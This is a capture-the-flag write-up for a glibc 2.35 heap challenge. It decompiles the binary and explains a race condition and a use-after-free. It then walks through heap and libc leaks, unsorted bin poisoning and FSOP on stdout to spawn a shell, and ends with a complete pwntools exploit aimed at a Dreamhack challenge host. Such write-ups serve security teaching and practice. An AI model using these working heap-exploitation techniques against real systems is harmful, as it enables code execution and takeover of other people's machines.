Challenge Description
- Source challenge: r_jh0213's hip
File Type
bash
| 1 | $ file prob |
| 2 | prob: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=52bd4817fd7f7ec6dbdf2a40b70e2debf7ef4290, for GNU/Linux 3.2.0, stripped |
Binary Protection
bash
| 1 | $ checksec prob |
| 2 | [*] './prob' |
| 3 | Arch: amd64-64-little |
| 4 | RELRO: Full RELRO |
| 5 | Stack: Canary found |
| 6 | NX: NX enabled |
| 7 | PIE: PIE enabled |
| 8 | SHSTK: Enabled |
| 9 | IBT: Enabled |
Preview
- Preview output of binary execution:
plaintext
| 1 | 1. malloc |
| 2 | 2. edit |
| 3 | 3. free |
| 4 | 4. exit |
| 5 | > |
| 6 | 1 |
| 7 | > |
| 8 | 0 |
| 9 | 1. malloc |
| 10 | 2. edit |
| 11 | 3. free |
| 12 | 4. exit |
| 13 | > |
| 14 | end |
| 15 | 4 |
Decompiled Code
- Glibc version 2.35
c
| 1 | struct Element { |
| 2 | long long size; |
| 3 | int idx; |
| 4 | char *data; |
| 5 | }; |
| 6 | |
| 7 | Element* gStore[16]; |
| 8 | |
| 9 | int __fastcall start_routine(void *a1) |
| 10 | { |
| 11 | int v1; // ebx |
| 12 | void **p_data; // rbx |
| 13 | int id; // [rsp+18h] [rbp-28h] |
| 14 | int i; // [rsp+1Ch] [rbp-24h] |
| 15 | int j; // [rsp+20h] [rbp-20h] |
| 16 | int k; // [rsp+24h] [rbp-1Ch] |
| 17 | |
| 18 | id = gIdx; |
| 19 | // Timeout |
| 20 | for ( i = 0; i <= 999; ++i ) |
| 21 | { |
| 22 | for ( j = 0; j <= 999; ++j ) |
| 23 | { |
| 24 | for ( k = 0; k <= 999; ++k ) |
| 25 | id ^= i; |
| 26 | } |
| 27 | } |
| 28 | v1 = gIdx; |
| 29 | gStore[v1] = (Element *)malloc(0x18uLL); |
| 30 | gStore[gIdx]->size = 256LL; |
| 31 | gStore[gIdx]->id = id; |
| 32 | p_data = &gStore[gIdx]->data; |
| 33 | *p_data = malloc(0x100uLL); |
| 34 | return puts("end"); |
| 35 | } |
| 36 | |
| 37 | unsigned __int64 allocate() |
| 38 | { |
| 39 | pthread_t newthread; // [rsp+0h] [rbp-10h] BYREF |
| 40 | unsigned __int64 v2; // [rsp+8h] [rbp-8h] |
| 41 | |
| 42 | v2 = __readfsqword(0x28u); |
| 43 | puts("> "); |
| 44 | __isoc99_scanf("%u", &gIdx); |
| 45 | if ( gIdx <= 15 && !gInUsed[gIdx] ) |
| 46 | { |
| 47 | gInUsed[gIdx] = 1; |
| 48 | pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL); |
| 49 | pthread_detach(newthread); |
| 50 | } |
| 51 | return v2 - __readfsqword(0x28u); |
| 52 | } |
| 53 | |
| 54 | ssize_t edit() |
| 55 | { |
| 56 | ssize_t result; // rax |
| 57 | |
| 58 | puts("> "); |
| 59 | __isoc99_scanf("%u", &gIdx); |
| 60 | result = gIdx; |
| 61 | if ( gIdx <= 15 ) |
| 62 | { |
| 63 | result = (unsigned int)gInUsed[gIdx]; |
| 64 | if ( (_DWORD)result ) |
| 65 | { |
| 66 | write(1, gStore[gIdx]->data, 256uLL); |
| 67 | puts("> "); |
| 68 | return read(0, gStore[gIdx]->data, 256uLL); |
| 69 | } |
| 70 | } |
| 71 | return result; |
| 72 | } |
| 73 | |
| 74 | void deallocate() |
| 75 | { |
| 76 | puts("> "); |
| 77 | __isoc99_scanf("%u", &gIdx); |
| 78 | if ( gIdx <= 15 ) |
| 79 | { |
| 80 | if ( gInUsed[gIdx] ) |
| 81 | { |
| 82 | gInUsed[gIdx] = 0; |
| 83 | free(gStore[gIdx]->data); |
| 84 | free(gStore[gIdx]); |
| 85 | } |
| 86 | } |
| 87 | } |
| 88 | |
| 89 | void __noreturn handle() |
| 90 | { |
| 91 | __int64 choice; // [rsp+0h] [rbp-10h] BYREF |
| 92 | unsigned __int64 canary; // [rsp+8h] [rbp-8h] |
| 93 | |
| 94 | canary = __readfsqword(0x28u); |
| 95 | while ( 1 ) |
| 96 | { |
| 97 | menu(); |
| 98 | __isoc99_scanf("%lld", &choice); |
| 99 | if ( choice == 4 ) |
| 100 | break; |
| 101 | if ( choice <= 4 ) |
| 102 | { |
| 103 | switch ( choice ) |
| 104 | { |
| 105 | case 3LL: |
| 106 | deallocate(); |
| 107 | break; |
| 108 | case 1LL: |
| 109 | allocate(); |
| 110 | break; |
| 111 | case 2LL: |
| 112 | edit(); |
| 113 | break; |
| 114 | } |
| 115 | } |
| 116 | } |
| 117 | exit(0); |
| 118 | } |
Vulnerability
- This program allocate the memory in a separate asynchronous thread using
start_routine()function. However, it makes modifications to global variables but doesn't use a mutex lock. This leads to race condition vulnerability deallocate()function doesn't assignNULLto the variable after the object is freed. This is a use-after-free vulnerability.
Exploitation
Leak Heap Address and Libc
- This challenge allows us to malloc and free 16 objects at the same time, which is more than maximum chunk in a bucket of tcache (max is 7).
- Each time
deallcate()function is called, it frees 2 chunks whose size are 0x20 and 0x110. - Therefore, I just need to allocate and deallocate first 7 objects to fulfill the tcache. This ensures that in the 8 times
deallocate()function is called, the 0x110-byte chunk will be put into unsorted bin
python
| 1 | for i in range(7): |
| 2 | malloc(i, 3) |
| 3 | free(i) |
| 4 | |
| 5 | ... |
| 6 | |
| 7 | free(7) |
- Then, if I make a malloc operation and call
edit()immediately. It will print out the address ofmain_arenaand a freed chunk before (which is tcache for created thread).
python
| 1 | malloc(7) |
| 2 | target.sendlineafter(b"> ", b"2") |
| 3 | target.sendlineafter(b"> \n", b"7") |
| 4 | |
| 5 | heap_base = u64(target.recv(8)) - 0xE90 |
| 6 | libc.address = u64(target.recv(8)) - 0x21ACE0 |
| 7 | info(f"Heap base: {hex(heap_base)}") |
| 8 | info(f"Libc base: {hex(libc.address)}") |
- This because at the beginning of
start_routine, there are 3 nested loops which take about 1-2 seconds to actually allocate the memory. However, at that moment, its state stored in global array is set totrue. That means I can make edit or free operation on a freed chunk before it is actually assigned to the new one. In this situation, freed chunk is containingfdandbckpointer which aremain_arenain libc and other freed chunk; so I useeditto print them out. Then I just need to write the exactly last byte of the address offdwhich won't be changed. This makes sure that unsorted bin is still valid
Unsorted Bin Poisoning
- Most of objects are created with 2 contiguous chunks of 0x20 bytes and 0x110 bytes in heap memory.
- Therefore, I decided to create a fake chunk lying on 2 adjacent active objects in heap memory, and put it into unsorted bin. This chunk contains a 0x20-byte chunk of the last object corresponding to its
struct Element. - By this way, once this fake chunk is allocated, I can change the
datafield of that victim object to an arbitrary address and I will be able to do an arbitrary write to that address. - Here, I created fake chunk between 9th and 10th object. The victim object is 10th one:
python
| 1 | # Fake chunk started at 0x1580, ended at 0x1690 |
| 2 | payload = b"\x00" * 0xE8 + p64(0x111) |
| 3 | payload += p64(heap_base + 0x1230) + p64(heap_base + 0x1360) |
| 4 | edit(9, payload) |
| 5 | |
| 6 | payload = b"\x00" * 8 * 24 + p64(0x110) + p64(0x20) + 0x18 * b"\x00" + p64(0x21) |
| 7 | edit(10, payload) |
| 8 | |
| 9 | fake_chunk = heap_base + 0x1580 |
Next, I have to find a place to put that fake chunk in unsorted bin. I have no permission to write to
main_arenaor freed tcache chunk, so I must free 2 different chunks of 2 objects and place the fake chunk into between them. I chose the 7th and 8th object.However, I cannot use the above way to edit a freed chunk, that way only reveals
fdandbckpointer.There is a trick that when I call 2
allocate()functions with 2 different elements continuously. Both of their states aretrue(active), but one element still contains freed chunk. With this way, I have ability to edit a freed chunk.Here is my implementation for 7th object:
python
| 1 | free(7) |
| 2 | free(11) |
| 3 | malloc(7) |
| 4 | malloc(11) |
| 5 | time.sleep(5) |
| 6 | free(11) |
- Then I just need to edit those freed chunks to place fake chunk into between them.
python
| 1 | payload = p64(fake_chunk) + p64(libc.address + 0x21ACE0) |
| 2 | edit(8, payload) |
| 3 | payload = p64(libc.address + 0x21ACE0) + p64(fake_chunk) |
| 4 | edit(7, payload) |
- After that, I made 3 malloc operation to assign the fake chunk. At first, there are only 2 chunks of 0x20 bytes in fastbins so I have to free another object to before the third operation is performed.
python
| 1 | malloc(2, 3) |
| 2 | malloc(3, 3) |
| 3 | free(14) |
| 4 | malloc(4, 3) |
Get Shell
- Fake chunk will be assigned to the 4th object. Then I edited it to change
datapointer of 10th object to_IO_2_1_stdout_
python
| 1 | stdout = libc.symbols["_IO_2_1_stdout_"] |
| 2 | payload = b"\x00" * 0x18 + p64(0x21) + p64(0x100) + p64(0xA) + p64(stdout) |
| 3 | edit(4, payload) |
- Finally, I used FSOP technique to get shell:
python
| 1 | fake_file = libc.sym["_IO_2_1_stdout_"] |
| 2 | payload = flat( |
| 3 | { |
| 4 | # fake_file->file._flags |
| 5 | # requirements: |
| 6 | # (_flags & 0x0002) == 0 |
| 7 | # (_flags & 0x0008) == 0 |
| 8 | # (_flags & 0x0800) == 0 |
| 9 | # basic approach with spaces: |
| 10 | # " sh\x00" |
| 11 | # 0x20, 0x73, 0x68, 0x00 |
| 12 | 0x00: b" sh\x00", |
| 13 | # fake_file->file._wide_data->_IO_write_base |
| 14 | 0x08: p64(0), |
| 15 | 0x18: p64(0), |
| 16 | # fake_file->file._IO_write_base |
| 17 | 0x20: p64(0), |
| 18 | # fake_file->file._IO_write_ptr |
| 19 | 0x28: p64(1), |
| 20 | # fake_file->file._wide_data->_IO_buf_base |
| 21 | 0x30: p64(0), |
| 22 | # fake_file->file._wide_data->_wide_vtable->__doallocate |
| 23 | 0x58: libc.symbols["system"], |
| 24 | # fake_file->file._lock |
| 25 | 0x88: libc.address + 0x21CA70, |
| 26 | # fake_file->file._wide_data |
| 27 | 0xA0: fake_file - 0x10, |
| 28 | # fake_file->file._mode |
| 29 | 0xC0: p64(0), |
| 30 | # fake_file->file._wide_data->_wide_vtable |
| 31 | 0xD0: fake_file - 0x10, |
| 32 | # fake_file->vtable |
| 33 | 0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20, |
| 34 | } |
| 35 | ) |
| 36 | |
| 37 | edit(10, payload) |
Exploit Code
python
| 1 | from pwn import * |
| 2 | |
| 3 | context.terminal = [ |
| 4 | "kitty", |
| 5 | "@", |
| 6 | "launch", |
| 7 | "--type=os-window", |
| 8 | "--cwd={}".format(os.getcwd()), |
| 9 | "sh", |
| 10 | "-c", |
| 11 | ] |
| 12 | context.log_level = "debug" |
| 13 | context.arch = "amd64" |
| 14 | |
| 15 | TARGET = "./bin/prob" |
| 16 | LIBC = "./lib/libc.so.6" |
| 17 | |
| 18 | if args.REMOTE: |
| 19 | target = remote("host3.dreamhack.games", 10397) |
| 20 | elif args.LOCAL: |
| 21 | target = process(TARGET) |
| 22 | else: |
| 23 | gdbscript = """ |
| 24 | brva 0x1749 |
| 25 | c |
| 26 | """ |
| 27 | target: process | remote = gdb.debug(TARGET, gdbscript, env={"SHELL": "/bin/sh"}) |
| 28 | |
| 29 | exe = ELF(TARGET) |
| 30 | libc = ELF(LIBC) if os.path.exists(LIBC) else None |
| 31 | |
| 32 | |
| 33 | def malloc(idx: int, s: int = 0): |
| 34 | target.sendlineafter(b"> ", b"1") |
| 35 | target.sendlineafter(b"> ", str(idx).encode()) |
| 36 | time.sleep(s) |
| 37 | |
| 38 | |
| 39 | def edit(idx: int, msg: bytes): |
| 40 | target.sendlineafter(b"> ", b"2") |
| 41 | target.sendlineafter(b"> ", str(idx).encode()) |
| 42 | target.sendafter(b"> ", msg) |
| 43 | |
| 44 | |
| 45 | def free(idx: int): |
| 46 | target.sendlineafter(b"> ", b"3") |
| 47 | target.sendlineafter(b"> ", str(idx).encode()) |
| 48 | |
| 49 | |
| 50 | for i in range(7): |
| 51 | malloc(i, 3) |
| 52 | free(i) |
| 53 | |
| 54 | malloc(0) |
| 55 | malloc(1) |
| 56 | time.sleep(5) |
| 57 | |
| 58 | for i in range(7, 16): |
| 59 | malloc(i, 3) |
| 60 | |
| 61 | free(7) |
| 62 | malloc(7) |
| 63 | target.sendlineafter(b"> ", b"2") |
| 64 | target.sendlineafter(b"> \n", b"7") |
| 65 | |
| 66 | heap_base = u64(target.recv(8)) - 0xE90 |
| 67 | libc.address = u64(target.recv(8)) - 0x21ACE0 |
| 68 | info(f"Heap base: {hex(heap_base)}") |
| 69 | info(f"Libc base: {hex(libc.address)}") |
| 70 | target.sendafter(b"> ", b"\x90") |
| 71 | time.sleep(5) |
| 72 | |
| 73 | # Fake chunk started at 0x1580, ended at 0x1690 |
| 74 | payload = b"\x00" * 0xE8 + p64(0x111) |
| 75 | payload += p64(heap_base + 0x1230) + p64(heap_base + 0x1360) |
| 76 | edit(9, payload) |
| 77 | |
| 78 | payload = b"\x00" * 8 * 24 + p64(0x110) + p64(0x20) + 0x18 * b"\x00" + p64(0x21) |
| 79 | edit(10, payload) |
| 80 | |
| 81 | fake_chunk = heap_base + 0x1580 |
| 82 | |
| 83 | free(7) |
| 84 | free(11) |
| 85 | malloc(7) |
| 86 | malloc(11) |
| 87 | time.sleep(5) |
| 88 | free(11) |
| 89 | |
| 90 | free(8) |
| 91 | free(12) |
| 92 | malloc(8) |
| 93 | malloc(12) |
| 94 | time.sleep(5) |
| 95 | free(12) |
| 96 | |
| 97 | payload = p64(fake_chunk) + p64(libc.address + 0x21ACE0) |
| 98 | edit(8, payload) |
| 99 | payload = p64(libc.address + 0x21ACE0) + p64(fake_chunk) |
| 100 | edit(7, payload) |
| 101 | |
| 102 | malloc(2, 3) |
| 103 | malloc(3, 3) |
| 104 | free(14) |
| 105 | malloc(4, 3) |
| 106 | |
| 107 | stdout = libc.symbols["_IO_2_1_stdout_"] |
| 108 | payload = b"\x00" * 0x18 + p64(0x21) + p64(0x100) + p64(0xA) + p64(stdout) |
| 109 | edit(4, payload) |
| 110 | fake_file = libc.sym["_IO_2_1_stdout_"] |
| 111 | payload = flat( |
| 112 | { |
| 113 | # fake_file->file._flags |
| 114 | # requirements: |
| 115 | # (_flags & 0x0002) == 0 |
| 116 | # (_flags & 0x0008) == 0 |
| 117 | # (_flags & 0x0800) == 0 |
| 118 | # basic approach with spaces: |
| 119 | # " sh\x00" |
| 120 | # 0x20, 0x73, 0x68, 0x00 |
| 121 | 0x00: b" sh\x00", |
| 122 | # fake_file->file._wide_data->_IO_write_base |
| 123 | 0x08: p64(0), |
| 124 | 0x18: p64(0), |
| 125 | # fake_file->file._IO_write_base |
| 126 | 0x20: p64(0), |
| 127 | # fake_file->file._IO_write_ptr |
| 128 | 0x28: p64(1), |
| 129 | # fake_file->file._wide_data->_IO_buf_base |
| 130 | 0x30: p64(0), |
| 131 | # fake_file->file._wide_data->_wide_vtable->__doallocate |
| 132 | 0x58: libc.symbols["system"], |
| 133 | # fake_file->file._lock |
| 134 | 0x88: libc.address + 0x21CA70, |
| 135 | # fake_file->file._wide_data |
| 136 | 0xA0: fake_file - 0x10, |
| 137 | # fake_file->file._mode |
| 138 | 0xC0: p64(0), |
| 139 | # fake_file->file._wide_data->_wide_vtable |
| 140 | 0xD0: fake_file - 0x10, |
| 141 | # fake_file->vtable |
| 142 | 0xD8: libc.symbols["_IO_wfile_jumps"] - 0x20, |
| 143 | } |
| 144 | ) |
| 145 | |
| 146 | edit(10, payload) |
| 147 | |
| 148 | target.interactive() |